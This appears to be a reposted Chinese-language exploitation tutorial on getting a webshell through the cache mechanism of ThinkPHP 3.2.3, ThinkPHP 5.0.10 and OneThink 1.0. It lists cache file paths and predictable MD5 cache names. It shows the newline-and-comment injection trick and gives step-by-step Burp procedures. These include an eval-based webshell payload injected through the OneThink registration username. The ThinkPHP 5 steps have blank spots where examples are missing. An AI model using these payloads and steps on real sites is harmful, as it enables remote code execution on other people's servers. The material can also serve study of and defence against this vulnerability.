thinkphp3.2.3-5.0.10前台緩存寫shell


0x00 簡介

漏洞簡述就不多說,這里將分別介紹tp3.2.3、tp5.0.10和onethink緩存寫入getshell。

tp3.2.3:

緩存文件路徑:/Application/Runtime/Temp
可能緩存文件名:b068931cc450442b63f5b3d276ea4297.php

onethink1.0:

thinkphp3開發
緩存文件路徑:/Runtime/Temp/
默認緩存文件名:2bb202459c30a1628513f40ab22fa01a.php
緩存名基本不變

tp5.0.10:

緩存文件路徑:/runtime/cache
可能規則命名的md5值:b068931cc450442b63f5b3d276ea4297
那么緩存文件名為:/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php

寫入的php語句開頭需要換行,結尾需要注釋掉后面的垃圾數據:

換行利用url編碼:%0d%0a或者%0a
注釋用 //
例如寫入phpinfo(); 那么應該為:%0d%0aphpinfo();//

0x01 利用條件

  • 開啟緩存功能;
  • 能夠猜解出緩存文件名(文件名生成有一定規律)
  • 緩存內容可控或部分可控,即找到寫入的位置(一般與數據庫交互的地方)

緩存文件名可由泄露的源碼已知,或者可猜測,規律為使用常見的名詞,如user、news、goods、article,然后對這些名稱md5編碼。

例如:一個論壇類網站

1.發帖處可與數據庫交互,即可在這兒寫入php內容到緩存文件;

2.那么發帖處的url為:http://xxx/index/article/showarticle/articleld/52,猜測緩存名詞為article_52

對名詞進行md5,echo(md5("article_52")); 輸出md5值 12a51218427a2df68e54e8f4c8b10109 ;

那么如果是tp3,緩存名則為12a51218427a2df68e54e8f4c8b10109 .php,如tp5,則是/12/a51218427a2df68e54e8f4c8b10109.php

0x02 thinkphp3.2.3緩存寫shell關鍵

1.找到與數據庫交互的地方,一般是提交post數據的地方,寫入php語句,例如:

%0d%0aphpinfo();//

 

 2.訪問查看post數據提交過后的記錄來觸發數據緩存。

3.訪問緩存文件。

0x03 onethink1.0緩存寫shell

注意:換行利用%0d%0a,如遇長度限制可去掉%0d嘗試。
構造的php語句不能直接在頁面表單寫入提交,需要在burp里面進行操作

onethink1.0緩存寫shell漏洞是固定的,在注冊用戶的地方,且進行登錄觸發緩存數據。

先注冊,再登錄成功才能寫入
寫兩條語句:
%0a$a=$_POST[1];//
%0d%0aeval($a);//

1.注冊寫入php語句到緩存文件:

抓包,在注冊包post數據里面的username變量寫入%0a$a=$_POST[1];//,然后其他信息正常添好提交注冊;

2.登錄成功來觸發數據緩存:

登錄頁面抓包,username處填入%0a$a=$_POST[1];//,然后正常填寫剛剛注冊的密碼,成功登錄代表第一條語句寫入成功;

3.第二條語句再次進行上面兩步操作;

4.訪問緩存文件。

0x04 tp5.0.10緩存寫shell

1.找到數據交互的地方,burp抓包修改post數據,寫入php語句,例如:

 

 2.訪問觸發緩存數據,例如這里訪問cache方法:

 

 3.訪問緩存文件。

總結:

其實thinkphp緩存寫shell的漏洞的利用主要分三個步驟:數據交互寫入惡意php語句,觸發緩存數據,訪問緩存文件。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM